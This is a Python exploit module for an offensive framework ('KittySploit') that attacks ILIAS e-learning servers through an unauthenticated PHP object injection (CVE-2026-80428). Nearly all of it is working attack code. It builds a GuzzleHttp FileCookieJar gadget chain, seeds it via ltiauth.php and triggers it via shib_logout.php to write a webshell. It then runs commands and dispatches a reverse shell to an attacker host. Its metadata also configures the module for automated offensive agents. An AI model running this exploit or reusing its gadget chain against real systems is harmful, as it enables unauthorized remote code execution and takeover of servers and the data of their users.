ILIAS <= 9.21 / 10.9 / 11.2 - PHP Object Injection RCE (CVE-2026-80428)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ILIAS unauthenticated PHP object injection RCE via Shibboleth (CVE-2026-80428)."""

from __future__ import annotations

import re
import secrets
import urllib.parse
from typing import Optional

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ILIAS <= 9.21 / 10.9 / 11.2 - PHP Object Injection RCE (CVE-2026-80428)",
        "description": (
            "Unauthenticated PHP object injection in ILIAS via ltiauth.php session seeding "
            "and shib_logout.php SOAP LogoutNotification mass-unserialize. Chains "
            "GuzzleHttp\\Cookie\\FileCookieJar to write a webshell under the ILIAS docroot. "
            "Fixed in ILIAS 9.22 / 10.10 / 11.3. Packaged ILIAS 11.x shib_logout.php is "
            "typically broken and not reachable; 9.x/10.x are exploitable."
        ),
        "author": ["DigiProSec", "KittySploit Team"],
        "cve": ["CVE-2026-80428"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://www.ilias.de",
            "https://github.com/ILIAS-eLearning/ILIAS",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-80428",
        ],
        "tags": [
            "ilias",
            "php",
            "php-object-injection",
            "deserialization",
            "shibboleth",
            "lti",
            "unauthenticated",
            "rce",
            "cve-2026-80428",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["ilias", "php"],
                "auth_session": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "FileCookieJar webshell write"},
                    {"capability": "shell", "from_detail": "HTTP command session"},
                ],
                "suggested_followups": [
                    "scanner/http/ilias_detect",
                ],
            },
        },
    }

    host_header = OptString(
        "",
        "Host / vhost header when ILIAS uses a fixed HTTP path (e.g. lms.example)",
        required=False,
        advanced=True,
    )
    docroot_path = OptString(
        "",
        "ILIAS docroot on disk (v10/11: .../public; v9: repo root). "
        "When empty, common paths are tried.",
        required=False,
    )
    cmd_param = OptString("x", "GET parameter used by the dropped webshell", required=False)
    verify_cmd = OptString("id", "Command used to verify shell execution", required=False)
    command = OptString("", "Command to execute instead of the selected payload", required=False)
    skip_endpoint_check = OptBool(
        False,
        "Attempt exploitation even when ltiauth.php / shib_logout.php probes fail",
        required=False,
        advanced=True,
    )

    _SOAP_BODY = (
        b'<?xml version="1.0" encoding="UTF-8"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV='
        b'"http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:mace:shibboleth:2.0:sp:notify">'
        b'<SOAP-ENV:Body><ns1:LogoutNotification><SessionID>x</SessionID>'
        b'</ns1:LogoutNotification></SOAP-ENV:Body></SOAP-ENV:Envelope>'
    )
    _LTIAUTH_PATHS = ("/ltiauth.php", "/ilias/ltiauth.php")
    _SHIB_LOGOUT_PATHS = ("/shib_logout.php", "/ilias/shib_logout.php")
    _COMMON_DOCROOTS = (
        "/var/www/ilias/public",
        "/var/www/html/ilias/public",
        "/var/www/ilias",
        "/var/www/html",
        "/srv/www/ilias/public",
    )
    _OUTPUT_RE = re.compile(rb'"Value":"(.*?)","Domain"', re.S)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._shell_url_path: Optional[str] = None
        self._session_connections: dict = {}

    @staticmethod
    def _php_s(value: str | bytes) -> bytes:
        raw = value.encode() if isinstance(value, str) else value
        return b"s:" + str(len(raw)).encode() + b':"' + raw + b'";'

    def _php_shell_snippet(self, param: str) -> bytes:
        param = (param or "x").strip() or "x"
        if len(param) == 1:
            return f"system($_GET[chr({ord(param)})]);".encode()
        key = ".".join(f"chr({ord(ch)})" for ch in param)
        return f"system($_GET[{key}]);".encode()

    def _filecookiejar(self, disk_path: str, param: str) -> bytes:
        php = b"<?php " + self._php_shell_snippet(param) + b" ?>"
        data = (
            self._php_s("Name")
            + self._php_s("util")
            + self._php_s("Value")
            + self._php_s(php)
            + self._php_s("Domain")
            + self._php_s("ilias")
            + self._php_s("Path")
            + self._php_s("/")
            + self._php_s("Max-Age")
            + b"N;"
            + self._php_s("Expires")
            + b"i:1999999999;"
            + self._php_s("Secure")
            + b"b:0;"
            + self._php_s("Discard")
            + b"b:0;"
            + self._php_s("HttpOnly")
            + b"b:0;"
        )
        setcookie = (
            b'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{'
            + self._php_s("\x00GuzzleHttp\\Cookie\\SetCookie\x00data")
            + b"a:9:{" + data + b"}}"
        )
        return (
            b'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{'
            + self._php_s("\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies")
            + b"a:1:{i:0;" + setcookie + b"}"
            + self._php_s("\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode")
            + b"b:0;"
            + self._php_s("\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename")
            + self._php_s(disk_path)
            + self._php_s("\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies")
            + b"b:1;}"
        )

    def _url_prefix(self) -> str:
        return str(self.path or "/").rstrip("/")

    def _join_url_path(self, suffix: str) -> str:
        suffix = suffix if suffix.startswith("/") else f"/{suffix}"
        prefix = self._url_prefix()
        return f"{prefix}{suffix}" if prefix else suffix

    def _request_headers(self, content_type: str | None = None) -> dict[str, str]:
        headers: dict[str, str] = {}
        host = str(self.host_header or "").strip()
        if host:
            headers["Host"] = host
        if content_type:
            headers["Content-Type"] = content_type
        return headers

    def _candidate_ltiauth_paths(self) -> list[str]:
        explicit = self._join_url_path("/ltiauth.php")
        paths = [explicit]
        for candidate in self._LTIAUTH_PATHS:
            if candidate not in paths:
                paths.append(candidate)
        return paths

    def _candidate_shib_paths(self) -> list[str]:
        explicit = self._join_url_path("/shib_logout.php")
        paths = [explicit]
        for candidate in self._SHIB_LOGOUT_PATHS:
            if candidate not in paths:
                paths.append(candidate)
        return paths

    def _candidate_docroots(self) -> list[str]:
        explicit = str(self.docroot_path or "").strip()
        if explicit:
            return [explicit.rstrip("/")]
        return list(self._COMMON_DOCROOTS)

    @classmethod
    def _disk_to_url_path(cls, disk_path: str, docroot: str) -> str:
        docroot = docroot.rstrip("/")
        if disk_path.startswith(docroot + "/"):
            rel = disk_path[len(docroot) + 1 :]
            return "/" + rel.lstrip("/")
        return "/" + disk_path.rsplit("/", 1)[-1]

    def _parse_shell_output(self, body: bytes | str) -> str:
        raw = body if isinstance(body, bytes) else (body or "").encode("utf-8", errors="replace")
        match = self._OUTPUT_RE.search(raw)
        if match:
            return match.group(1).decode("utf-8", errors="replace").strip()
        return raw.decode("utf-8", errors="replace").strip()

    def _seed_session(self, ltiauth_path: str, disk_path: str) -> bool:
        param = str(self.cmd_param or "x").strip() or "x"
        payload = b"junk|" + self._filecookiejar(disk_path, param)
        body = b"lti_message_hint=1%3A2&inj=" + urllib.parse.quote_from_bytes(payload).encode()
        response = self.http_request(
            method="POST",
            path=ltiauth_path,
            data=body,
            headers=self._request_headers("application/x-www-form-urlencoded"),
            allow_redirects=False,
            timeout=int(self.timeout or 30),
        )
        status = int(response.status_code or 0) if response else 0
        return status in (200, 302)

    def _trigger_unserialize(self, shib_path: str) -> bool:
        response = self.http_request(
            method="POST",
            path=shib_path,
            data=self._SOAP_BODY,
            headers=self._request_headers("text/xml"),
            allow_redirects=False,
            timeout=int(self.timeout or 30),
        )
        if not response:
            return False
        body = response.content or b""
        return b"LogoutNotificationResponse" in body or b"<OK/>" in body

    def _run_shell_command(self, url_path: str, cmd: str) -> str:
        param = str(self.cmd_param or "x").strip() or "x"
        response = self.http_request(
            method="GET",
            path=url_path,
            params={param: cmd},
            headers=self._request_headers(),
            allow_redirects=False,
            timeout=int(self.timeout or 30),
        )
        if not response:
            return ""
        return self._parse_shell_output(response.content or response.text or "")

    def _probe_endpoints(self) -> dict:
        ltiauth_ok = False
        shib_ok = False
        ltiauth_hit = ""
        shib_hit = ""

        for path in self._candidate_ltiauth_paths():
            response = self.http_request(
                method="GET",
                path=path,
                headers=self._request_headers(),
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            status = int(response.status_code or 0) if response else 0
            if status in (200, 302, 400, 405, 500):
                ltiauth_ok = True
                ltiauth_hit = path
                break

        for path in self._candidate_shib_paths():
            response = self.http_request(
                method="POST",
                path=path,
                data=self._SOAP_BODY,
                headers=self._request_headers("text/xml"),
                allow_redirects=False,
                timeout=int(self.timeout or 15),
            )
            if not response:
                continue
            body = response.content or b""
            status = int(response.status_code or 0)
            if status in (200, 302, 500) or b"LogoutNotificationResponse" in body or b"<OK/>" in body:
                shib_ok = True
                shib_hit = path
                break

        return {
            "ltiauth_ok": ltiauth_ok,
            "shib_ok": shib_ok,
            "ltiauth_path": ltiauth_hit,
            "shib_path": shib_hit,
        }

    def check(self):
        probe = self._probe_endpoints()
        if not probe["ltiauth_ok"]:
            return {
                "vulnerable": False,
                "reason": "ltiauth.php not reachable — is this ILIAS with LTI exposed?",
                "confidence": "low",
            }
        if not probe["shib_ok"]:
            return {
                "vulnerable": False,
                "reason": "shib_logout.php SOAP endpoint not reachable",
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": (
                "ILIAS ltiauth.php and shib_logout.php reachable — "
                "likely exploitable on ILIAS < 9.22 / < 10.10 / < 11.3 (v9/v10)"
            ),
            "confidence": "medium",
            "ltiauth_path": probe["ltiauth_path"],
            "shib_path": probe["shib_path"],
        }

    def execute(self, cmd: str) -> str:
        if not self._shell_url_path:
            return ""
        return self._run_shell_command(self._shell_url_path, str(cmd))

    def run_command(self, command: str) -> str:
        return self.execute(command)

    def check_execute(self) -> bool:
        return bool(self._exploit_chain(verify_only=True))

    def _resolve_command(self) -> str:
        custom = str(self.command or "").strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode("utf-8", errors="replace")
        return str(raw or "").strip()

    def _open_webshell_session(self, url_path: str) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, "session_manager"):
            print_warning("Framework session manager unavailable; webshell session not registered")
            return None

        protocol = "https" if self._to_bool(getattr(self, "ssl", True)) else "http"
        session_id = self.framework.session_manager.create_session(
            host=str(self.target),
            port=int(self.port),
            session_type="http_cmd",
            data={
                "protocol": protocol,
                "uripath": url_path,
                "platform": "php",
                "exploit_module": "ilias_cve_2026_80428",
                "cmd_param": str(self.cmd_param or "x"),
            },
        )
        self._session_connections[session_id] = self
        print_success(f"HTTP command shell session opened: {session_id}")
        print_info(f"Webshell path: {url_path}")
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def _dispatch_reverse_payload(self, command: str) -> None:
        if self.disablePayloadHandler:
            return
        if not command:
            print_warning("No reverse payload generated; only the HTTP command shell is available")
            return
        lhost = getattr(self, "lhost", None)
        lport = getattr(self, "lport", None)
        if lhost and lport:
            print_status(f"Dispatching reverse shell payload to {lhost}:{lport}")
        else:
            print_status("Dispatching reverse shell payload")
        self.execute(command)

    def _exploit_chain(self, verify_only: bool = False) -> bool:
        if not self.skip_endpoint_check:
            probe = self._probe_endpoints()
            if not probe["ltiauth_ok"] or not probe["shib_ok"]:
                return False
            ltiauth_path = probe["ltiauth_path"]
            shib_path = probe["shib_path"]
        else:
            ltiauth_path = self._candidate_ltiauth_paths()[0]
            shib_path = self._candidate_shib_paths()[0]

        verify_command = str(self.verify_cmd or "id").strip() or "id"
        shell_name = f"util_{secrets.token_hex(3)}.php"

        for docroot in self._candidate_docroots():
            disk_path = f"{docroot.rstrip('/')}/{shell_name}"
            url_path = self._disk_to_url_path(disk_path, docroot)

            print_status(f"Seeding session via {ltiauth_path} (write {disk_path})")
            if not self._seed_session(ltiauth_path, disk_path):
                print_warning(f"ltiauth.php returned unexpected status for docroot {docroot}")
                continue

            print_status(f"Triggering unserialize via {shib_path}")
            if not self._trigger_unserialize(shib_path):
                print_warning(f"shib_logout.php trigger failed for docroot {docroot}")
                continue

            output = self._run_shell_command(url_path, verify_command)
            if not output:
                print_warning(
                    f"Webshell did not respond at {url_path} — wrong docroot or not writable?"
                )
                continue

            print_success(
                f"Webshell live: {'https' if int(self.port) == 443 else 'http'}://"
                f"{self.target}:{self.port}{url_path}"
            )
            print_success(f"{verify_command}: {output}")
            self._shell_url_path = url_path

            if verify_only:
                return True

            session_id = self._open_webshell_session(url_path)
            if session_id:
                self._dispatch_reverse_payload(self._resolve_command())
            return True

        return False

    def run(self):
        print_status("CVE-2026-80428 — ILIAS PHP object injection RCE")
        print_status(f"Target: {self.target}:{self.port}")

        check = self.check()
        if not check.get("vulnerable") and not self.skip_endpoint_check:
            print_error(check.get("reason", "Target does not appear vulnerable"))
            self.not_vulnerable()
            return False

        if check.get("vulnerable"):
            print_success(check.get("reason", "Target appears vulnerable"))

        if not self._exploit_chain():
            print_error("Exploitation failed — verify docroot_path and host_header")
            print_warning(
                "Set docroot_path to the ILIAS public directory on disk "
                "(default v10/11: /var/www/ilias/public)"
            )
            self.not_vulnerable()
            return False

        self.vulnerable()
        return self.handler_execute()